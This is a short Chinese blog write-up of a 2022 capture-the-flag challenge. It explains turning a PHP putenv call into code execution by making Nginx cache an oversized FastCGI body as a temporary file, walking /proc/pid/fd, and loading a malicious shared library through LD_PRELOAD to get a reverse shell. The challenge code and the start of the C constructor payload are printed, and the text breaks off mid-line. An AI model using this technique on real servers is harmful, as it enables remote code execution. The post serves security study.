前言:
好久没更过博客,因为一直在补JAVA. 有空了就复现下今年的HF。
考点:
Nginx-Fastcgi 缓存文件
脚本编写遍历pid,fd
解题:
<?php (empty($_GET["env"])) ? highlight_file(__FILE__) : putenv($_GET["env"]) && system('echo hfctf2022');?>
这题 有个putenv 猜测大概流程就是加载恶意的 so 进行反弹shell
此题的考点是 NGINX 在后端 fastcgi 相应过大 或者 请求正文 body 过大时,会产生临时文件。
如果一个进程打开了某个文件,某个文件就会出现在 /proc/pid/fd/目录下,我们的思路就是通过重复发过大的恶意so文件造成缓存,然后他会存在这个目录下,再使用LD_PRELOAD去加载链接库。
LD_PRELOAD加载so:
这个问题太经典 就不说了
#include <stdlib.h>
#include <string.h>
__attribute__ ((constructor)) void call ()
{
unsetenv("